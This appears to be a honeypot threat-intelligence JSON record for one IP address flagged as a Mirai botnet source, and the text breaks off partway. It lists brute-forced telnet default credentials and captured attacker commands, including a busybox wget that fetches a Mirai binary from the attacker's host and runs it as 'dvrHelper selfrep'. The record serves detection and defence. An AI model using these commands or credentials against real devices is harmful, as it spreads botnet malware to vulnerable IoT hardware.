{"ip":"176.65.139.40","data_as_of":"2026-10-26T21:51:13+00:00","observed":true,"total_events":17,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"369 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network services","why":["369 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 17 event(s) from this address as well.","Not in any known-scanner range.","Sent 581,059 bytes, which is sustained payload delivery.","Held a session open for 111s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"581,059 bytes sent, longest session 111s","bytes_sent":581059,"session_seconds":111,"persistent":true},"basis":"interactive"},"first_seen":"2026-03-06T06:35:33","last_seen":"2026-10-26T21:43:36","events_24h":0,"events_7d":0,"interactive_sessions":575,"interactive_sessions_24h":91,"interactive_sessions_7d":541,"interactive_protocols":[{"protocol":"telnet","sessions":575}],"geo":{"country_code":"DE","country_name":"Germany","region":"","city":"","lat":51.2993,"lon":9.491,"asn":51396,"org":"Pfcloud UG (haftungsbeschrankt)"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"24071a221b4e75ff66b21a0f4848ec846ee0ef60c3b0a7a7891923085cd81272","family":"mirai","vt_name":"jklx86","malicious":25,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":5,"last_seen":"2026-10-14 18:54:19"}],"udp":null,"interaction":{"window_days":90,"sessions":575,"first_seen":"2026-10-14T18:54:19","last_seen":"2026-10-26T21:43:36","verdicts":[{"verdict":"post-exploitation","sessions":369},{"verdict":"unknown","sessions":205},{"verdict":"credential","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":336},{"persona":"linux-ubuntu@20.04","sessions":239}],"services":[{"protocol":"telnet","port":23,"sessions":575}],"logins":[{"username":"enable","password":"system","password_sent":true,"service":"telnet","outcome":"success","tries":156,"last_seen":"2026-10-26T18:22:41"},{"username":"e8ehome","password":"e8ehome","password_sent":true,"service":"telnet","outcome":"success","tries":12,"last_seen":"2026-10-26T19:19:32"},{"username":"nobody","password":"nobody","password_sent":true,"service":"telnet","outcome":"success","tries":10,"last_seen":"2026-10-26T18:21:56"},{"username":"admin","password":"admin1234","password_sent":true,"service":"telnet","outcome":"success","tries":10,"last_seen":"2026-10-26T15:59:41"},{"username":"root","password":"hslwificam","password_sent":true,"service":"telnet","outcome":"success","tries":6,"last_seen":"2026-10-26T18:57:07"},{"username":"admin","password":"admin1234","password_sent":true,"service":"telnet","outcome":"failure","tries":6,"last_seen":"2026-10-26T18:21:57"},{"username":"root","password":"xc12345","password_sent":true,"service":"telnet","outcome":"success","tries":6,"last_seen":"2026-10-26T12:09:33"},{"username":"default","password":"tluafed","password_sent":true,"service":"telnet","outcome":"success","tries":6,"last_seen":"2026-10-26T06:16:14"},{"username":"root","password":"hg2x0","password_sent":true,"service":"telnet","outcome":"failure","tries":6,"last_seen":"2026-10-25T19:37:44"},{"username":"root","password":"1234","password_sent":true,"service":"telnet","outcome":"success","tries":5,"last_seen":"2026-10-26T21:43:35"},{"username":"default","password":"OxhlwSG8","password_sent":true,"service":"telnet","outcome":"success","tries":5,"last_seen":"2026-10-26T18:22:17"},{"username":"root","password":"rasberrypie","password_sent":true,"service":"telnet","outcome":"success","tries":5,"last_seen":"2026-10-26T09:14:43"},{"username":"default","password":"default","password_sent":true,"service":"telnet","outcome":"success","tries":5,"last_seen":"2026-10-26T04:17:36"},{"username":"admin","password":"2601hx","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T20:20:44"},{"username":"e8ehomeasb","password":"e8ehomeasb","password_sent":true,"service":"telnet","outcome":"success","tries":5,"last_seen":"2026-10-25T20:20:44"},{"username":"default","password":"antslq","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T20:20:44"},{"username":"root","password":"hkipc2016","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T20:20:40"},{"username":"admin","password":"1234","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T20:20:40"},{"username":"root","password":"xc12345","password_sent":true,"service":"telnet","outcome":"failure","tries":5,"last_seen":"2026-10-25T11:46:19"},{"username":"root","password":"t0talc0ntr0l4","password_sent":true,"service":"telnet","outcome":"success","tries":4,"last_seen":"2026-10-26T21:25:59"},{"username":"admin","password":"GeNeXiS@19","password_sent":true,"service":"telnet","outcome":"success","tries":4,"last_seen":"2026-10-26T20:32:52"},{"username":"admin","password":"1234","password_sent":true,"service":"telnet","outcome":"success","tries":4,"last_seen":"2026-10-26T18:27:35"},{"username":"root","password":"unisheen","password_sent":true,"service":"telnet","outcome":"success","tries":4,"last_seen":"2026-10-26T18:22:28"},{"username":"root","password":"hi3518","password_sent":true,"service":"telnet","outcome":"failure","tries":4,"last_seen":"2026-10-26T18:21:59"},{"username":"root","password":"ipcam","password_sent":true,"service":"telnet","outcome":"failure","tries":4,"last_seen":"2026-10-26T18:21:58"}],"commands":[{"ts":"2026-10-26T21:43:36","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf tbot; >dvrHelper; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:43:36","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./dvrHelper selfrep; /bin/busybox HolyShit","exit_code":127},{"ts":"2026-10-26T21:43:36","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget [http]://176[.]65[.]139[.]40:80/jklx86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:43:36","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cp /bin/busybox dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf dvrHelper tbot","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/usr/.ptmx && cd /usr/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/shm/.ptmx && cd /dev/shm/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/etc/.ptmx && cd /etc/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/bin/.ptmx && cd /bin/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/boot/.ptmx && cd /boot/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/netslink/.ptmx && cd /dev/netslink/","exit_code":1},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/.ptmx && cd /","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/tmp/.ptmx && cd /var/tmp/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.ptmx && cd /var/run/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/mnt/.ptmx && cd /mnt/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/.ptmx && cd /dev/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/.ptmx && cd /var/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/tmp/.ptmx && cd /tmp/","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-26T21:43:35","session_id":"0852eea6-5548-4c00-88d5-01320d5091ff","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0},{"ts":"2026-10-26T21:26:00","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf tbot; >dvrHelper; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:26:00","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"./dvrHelper selfrep; /bin/busybox HolyShit","exit_code":127},{"ts":"2026-10-26T21:26:00","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget [http]://176[.]65[.]139[.]40:80/jklx86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:26:00","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:26:00","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:26:00","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox cp /bin/busybox dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck","exit_code":127},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"/bin/busybox rm -rf dvrHelper tbot","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/usr/.ptmx && cd /usr/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/boot/.ptmx && cd /boot/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/etc/.ptmx && cd /etc/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/shm/.ptmx && cd /dev/shm/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/bin/.ptmx && cd /bin/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/netslink/.ptmx && cd /dev/netslink/","exit_code":1},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/.ptmx && cd /","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/tmp/.ptmx && cd /var/tmp/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/run/.ptmx && cd /var/run/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/mnt/.ptmx && cd /mnt/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/dev/.ptmx && cd /dev/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/var/.ptmx && cd /var/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":">/tmp/.ptmx && cd /tmp/","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"sh","exit_code":0},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"shell","exit_code":127},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"system","exit_code":127},{"ts":"2026-10-26T21:25:59","session_id":"10fa1a0e-bee9-40f0-8014-04d39f6cf24c","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"enable","exit_code":0}],"downloads":[{"url":"[http]://176[.]65[.]139[.]40:80/jklx86","host":"176[.]65[.]139[.]40","sessions":336,"first_seen":"2026-10-14T18:54:19","last_seen":"2026-10-26T21:43:36","virustotal":{"sha256":"24071a221b4e75ff66b21a0f4848ec846ee0ef60c3b0a7a7891923085cd81272","status":"known","malicious":25,"total":75,"name":"jklx86"}}],"files":[{"sha256":"49cb62bd214b02a049b8b4388c7fab2dbed34e54cc20e6bbe8dc0d735f80c1e1","name":"dvrHelper","size":25589,"mime_type":"application/x-executable","kind":"sample","times":632,"first_seen":"2026-10-14T18:54:18","last_seen":"2026-10-26T21:43:36","virustotal":null},{"sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","name":"dvrHelper","size":0,"mime_type":"application/x-empty","kind":"executed","times":81,"first_seen":"2026-10-23T18:36:50","last_seen":"2026-10-26T18:22:21","virustotal":{"sha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","status":"known","malicious":0,"total":75,"name":"android-cts-7.1_r6-linux_x86-arm.zip"}},{"sha256":"3055a8ceb45c7df1fb23806c2ccabcb4cf715b03aa56b15b777da115a2f5f580","name":"tbot","size":4777,"mime_type":"text/plain","kind":"executed","times":36,"first_seen":"2026-10-24T20:55:53","last_seen":"2026-10-26T09:14:59","virustotal":null},{"sha256":"01e6d06b0e8a2b0e1d24e87c02c6bff960b53ca848e551b60d5e2dd8c2dcbcf3","name":"tbot","size":1180,"mime_type":"application/x-executable","kind":"sample","times":36,"first_seen":"2026-10-24T20:55:49","last_seen":"2026-10-26T09:14:54","virustotal":null},{"sha256":"4decc203f094fe12f3c0720e257e9e89bdd58a6d39215698ae0895bc37f764d3","name":"tbot","size":64,"mime_type":"application/x-executable","kind":"shell-write","times":22,"first_seen":"2026-10-24T20:55:46","last_seen":"2026-10-26T09:14:46","virustotal":null},{"sha256":"fbabe1c211473ddb886b0e568e2d64c145d52797ce3afaa3f107eea32f7f9ffb","name":"tbot","size":259,"mime_type":"text/plain","kind":"shell-write","times":19,"first_seen":"2026-10-24T20:55:50","last_seen":"2026-10-26T09:14:54","virustotal":null},{"sha256":"af0e85318da8a89ec56fa834d6b6874022452430143931bbd4135c64e4f8a002","name":"tbot","size":256,"mime_type":"application/x-executable","kind":"shell-write","times":19,"first_seen":"2026-10-24T20:55:47","last_seen":"2026-10-26T09:14:48","virustotal":null},{"sha256":"161070cfebd0111824f34bbff8b29aef7e17eb72e8fec0b7740d281b3fca888b","name":"tbot","size":192,"mime_type":"application/x-executable","kind":"shell-write","times":19,"first_seen":"2026-10-24T20:55:47","last_seen":"2026-10-26T09:14:47","virustotal":null},{"sha256":"45dcb835850708792377456c401ccee55e8e8ccf8dc259a753ea081bb03cf0c7","name":"tbot","size":128,"mime_type":"application/x-executable","kind":"shell-write","times":19,"first_seen":"2026-10-24T20:55:47","last_seen":"2026-10-26T09:14:47","virustotal":null},{"sha256":"a807bc763cfb6d3d644cd9f6c57d9bca844250b00de77038a4cc5200a57ca666","name":"tbot","size":4662,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:53","last_seen":"2026-10-26T09:14:58","virustotal":null},{"sha256":"3e56b1ecdb516450b2168bd929f6a406bf20b9679412ba265373c60f49163966","name":"tbot","size":4403,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:53","last_seen":"2026-10-26T09:14:58","virustotal":null},{"sha256":"ead7c17096f848fc822001991e67c4dea73cf71026c3920e32c791577ab3c475","name":"tbot","size":4144,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:52","last_seen":"2026-10-26T09:14:58","virustotal":null},{"sha256":"d4a07bde1ebd12009e1fa0f22bfa300cc43279bc4b8af9322aaabbf2a2fd7ca5","name":"tbot","size":3885,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:52","last_seen":"2026-10-26T09:14:58","virustotal":null},{"sha256":"6c26a39decde02f0194125bd1a4e36391bc262b840a323bcf983e20328f9cbcc","name":"tbot","size":3626,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:52","last_seen":"2026-10-26T09:14:58","virustotal":null},{"sha256":"fe65805ea555dd8df80b7cbe9468656a6d4dd29c56baf11a43b924c301f8e966","name":"tbot","size":3367,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:52","last_seen":"2026-10-26T09:14:57","virustotal":null},{"sha256":"d697d9f081d55c64779c608b5e54fc969921c255f9d056c216435431731014d7","name":"tbot","size":3108,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:52","last_seen":"2026-10-26T09:14:57","virustotal":null},{"sha256":"8ad30bd0ac5ff2baa32017e88814221a6e0425e02964adea4f3382935494315b","name":"tbot","size":2849,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:52","last_seen":"2026-10-26T09:14:57","virustotal":null},{"sha256":"10ccd26fd35f3b4058208df3a03185af46734970198b943670f81422aed66343","name":"tbot","size":2590,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:51","last_seen":"2026-10-26T09:14:57","virustotal":null},{"sha256":"b9dc967abc7f5d0523a614cdad035ea3aff3f24eb257d16eaab9183458d460d7","name":"tbot","size":2331,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:51","last_seen":"2026-10-26T09:14:56","virustotal":null},{"sha256":"29aace1bd3518fe75f3659717ff9c972f199b8f98d59d81a03bafdf1a1f343ee","name":"tbot","size":2072,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:51","last_seen":"2026-10-26T09:14:56","virustotal":null},{"sha256":"6a002ed209706f271a31ba4c022c5984a2e09d0fb9e9eedbae718212df2d7c03","name":"tbot","size":1813,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:51","last_seen":"2026-10-26T09:14:56","virustotal":null},{"sha256":"15458d252d1f2a3217191c007f2ff61151da97e6e8c4bdbdb8442e2c6b027768","name":"tbot","size":1554,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:51","last_seen":"2026-10-26T09:14:56","virustotal":null},{"sha256":"ea5f0a1b5f18560ac692f6dd9fb4546043f716f023d80adb8e264f6839b62907","name":"tbot","size":1295,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:51","last_seen":"2026-10-26T09:14:56","virustotal":null},{"sha256":"86d397723761730010c1447d4ceea69e72c07a970f7b4045d1ab2f16f0f0b016","name":"tbot","size":1036,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:50","last_seen":"2026-10-26T09:14:55","virustotal":null},{"sha256":"3e3762dbacc6477f1f91afbb09822ea9f07ceb76ddfed47b2c5a0545bed08041","name":"tbot","size":777,"mime_type":"text/plain","kind":"shell-write","times":18,"first_seen":"2026-10-24T20:55:50","last_seen":"2026-10-26T09:14:55","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":369},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":369},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":370},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":336}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":575},{"port":2,"proto":"tcp","label":"","count":16,"sessions":0},{"port":8088,"proto":"tcp","label":"Hadoop","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun010_00040000_c4b2c4aa","b11cuq050_00050812_107c8b82"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cun010_00040000_c4b2c4aa":934,"b11cuq050_00050812_107c8b82":152},"akin_families":{"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":9,"ips":152}},"user_agents":[],"timeline":[{"date":"2026-10-14","count":0,"sessions":1},{"date":"2026-10-15","count":0,"sessions":33},{"date":"2026-10-20","count":0,"sessions":100},{"date":"2026-10-21","count":0,"sessions":4},{"date":"2026-10-23","count":0,"sessions":17},{"date":"2026-10-24","count":0,"sessions":62},{"date":"2026-10-25","count":0,"sessions":272},{"date":"2026-10-26","count":0,"sessions":86}],"recent_events":[{"timestamp":"2026-10-26T21:43:36","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox rm -rf tbot; >dvrHelper; /bin/busybox HolyFuck","payload_hex":"2f62696e2f62757379626f7820726d202d72662074626f743b203e64767248656c7065723b202f62696e2f62757379626f7820486f6c794675636b","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-52","seq":52,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9c6096d838d24dd3","strings":["/bin/busybox rm -rf tbot; >dvrHelper; /bin/busybox HolyFuck"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:36","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./dvrHelper selfrep; /bin/busybox HolyShit","payload_hex":"2e2f64767248656c7065722073656c667265703b202f62696e2f62757379626f7820486f6c7953686974","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-50","seq":50,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6e84f67d9cf1ae27","strings":["./dvrHelper selfrep; /bin/busybox HolyShit"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:36","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget http://176.65.139.40:80/jklx86 -O - > dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck","payload_hex":"2f62696e2f62757379626f78207767657420687474703a2f2f3137362e36352e3133392e34303a38302f6a6b6c783836202d4f202d203e2064767248656c7065723b202f62696e2f62757379626f782063686d6f64203737372064767248656c7065723b202f62696e2f62757379626f7820486f6c794675636b","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-48","seq":48,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"616ac1a1649d60c6","strings":["/bin/busybox wget http://176.65.139.40:80/jklx86 -O - > dvrHelper; /bin/busybox …"],"iocs":{"urls":["http://176.65.139.40:80/jklx86"],"ips":["176.65.139.40"],"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:36","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox wget; /bin/busybox tftp; /bin/busybox HolyFuck","payload_hex":"2f62696e2f62757379626f7820776765743b202f62696e2f62757379626f7820746674703b202f62696e2f62757379626f7820486f6c794675636b","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-46","seq":46,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"41a834aa70bf1884","strings":["/bin/busybox wget; /bin/busybox tftp; /bin/busybox HolyFuck"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:35","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox HolyFuck","payload_hex":"2f62696e2f62757379626f7820486f6c794675636b","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-44","seq":44,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a146a18156ddbf95","strings":["/bin/busybox HolyFuck"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:35","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox","payload_hex":"2f62696e2f62757379626f7820636174202f62696e2f62757379626f78207c7c207768696c65207265616420693b20646f206563686f2024693b20646f6e65203c202f62696e2f62757379626f78","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-42","seq":42,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e4737c9bfea146c1","strings":["/bin/busybox cat /bin/busybox || while read i; do echo $i; done < /bin/busybox"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:35","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/usr/.ptmx && cd 